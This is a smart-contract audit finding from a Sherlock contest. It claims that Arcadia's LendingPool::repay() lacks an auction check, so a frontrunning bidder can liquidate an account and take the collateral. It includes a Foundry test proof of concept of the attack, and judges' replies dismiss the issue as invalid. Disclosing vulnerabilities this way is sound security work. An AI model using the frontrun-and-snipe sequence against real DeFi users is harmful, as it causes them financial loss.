NentoR - `LendingPool::repay()` can be frontran and lead to losses for account owner due to missing auction check

[sherlock-admin]

NentoR

medium

LendingPool::repay() can be frontran and lead to losses for account owner due to missing auction check

Summary

It is possible for account owners to call LendingPool::repay() while the account's outstanding debt is auctioned. If the account happens to reach the liquidation threshold just before the owner repays their debt, a malicious actor could come in, frontrun the repayment, bid at once and still snipe the account's collateral.

Vulnerability Detail

When an account reaches the liquidation threshold, anyone can auction it to start covering the losses incurred. LendingPool::repay() lacks a check for whether the account is already auctioned, which opens the door for a frontrunning attack. Here is an example scenario:

1. Alice, an account owner, notices that her account has become unhealthy and tries to repay her debt.
2. Just before repaying, the account also passes the liquidation threshold (due to a drop of value of the collateral held).
3. Bob, a malicious actor, sees Alice's transaction in the mempool and the liquidatable account, and frontruns Alice's transaction with Liquidator::liquidateAccount().
4. Alice's transaction goes through and she has successfully brought the account back into a healthy state but it's futile since the account is already auctioned.
5. Alice eventually loses the account's assets as they get distributed among the bidders. Any buffer she used for the repayment will be stuck inside of LiquidationPool.

Coded POC (test/fuzz/Liquidator/Bid.fuzz.t.sol):

function testCanRepayWhileAuctioned() public {
    // Create Bidder
    address maliciousBidder = makeAddr("bidder");

    // Malicious bidder frontruns and initiates liquidation
    vm.startPrank(maliciousBidder);
    uint112 amountLoaned = 100_000;
    initiateLiquidation(amountLoaned);
    vm.stopPrank();

    // Account owner repays their debt but gets frontrun by bidder
    vm.startPrank(users.accountOwner);
    uint256 debtToCover = proxyAccount.getUsedMargin() - proxyAccount.getLiquidationValue();
    // owner decides to add some buffer as well
    debtToCover += 30_000;
    mockERC20.stable1.approve(address(pool), debtToCover);
    pool.repay(debtToCover, address(proxyAccount));
    vm.stopPrank();

    // Account is no longer liquidatable but it's already in auction
    assert(proxyAccount.isAccountLiquidatable() == false);
    // Account is healthy
    assert(proxyAccount.isAccountUnhealthy() == false);

    // Configure bid parameters
    bool endAuction = true;
    uint256[] memory originalAssetAmounts = liquidator.getAuctionAssetAmounts(address(proxyAccount));
    uint256 originalAmount = originalAssetAmounts[0];
    uint256[] memory bidAssetAmounts = new uint256[](1);
    uint256 bidAssetAmount = originalAmount;
    bidAssetAmounts[0] = bidAssetAmount;

    // Let some time pass so value of account depreciates
    vm.warp(block.timestamp + 2 hours);

    // Calculate price asked
    uint256 askedShare = liquidator.calculateTotalShare(address(proxyAccount), bidAssetAmounts);
    uint256 askPrice_ = liquidator.calculateBidPrice(address(proxyAccount), askedShare);
    deal(address(mockERC20.stable1), maliciousBidder, askPrice_);
    assert(amountLoaned > askPrice_);

    // Bidder bids for it
    vm.startPrank(maliciousBidder);
    mockERC20.stable1.approve(address(pool), askPrice_);
    liquidator.bid(address(proxyAccount), bidAssetAmounts, endAuction);
    vm.stopPrank();

    // Bidder has succesfully snipped accounts' assets
    assert(mockERC20.stable1.balanceOf(maliciousBidder) == amountLoaned);
}

Impact

Account Owner burns the debt of the account and brings it back to a healthy state but can easily be frontrun by malicious actors who initiate an auction for it before that. Eventually, the account owner loses the collateral held in the account as well as any buffer amount used during the repayment.

Code Snippet

https://github.com/sherlock-audit/2023-12-arcadia/blob/main/lending-v2/src/LendingPool.sol#L464-L475

Tool used

Manual Review

Recommendation

An if statement should be added at the beginning of LendingPool::repay() that checks whether the account has already been auctioned. If so, it should revert.

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

invalid: in acutionRepay the call should revert because the debt has already been paid as described by the watson.

[nevillehuang]

Invalid, given front-running is not possible on base chain, arbitrum and optimism. This also seems to be describing how a liquidation mechanism works given if liquidation thresholds is reached, than user should be subjected liquidation, no issue here.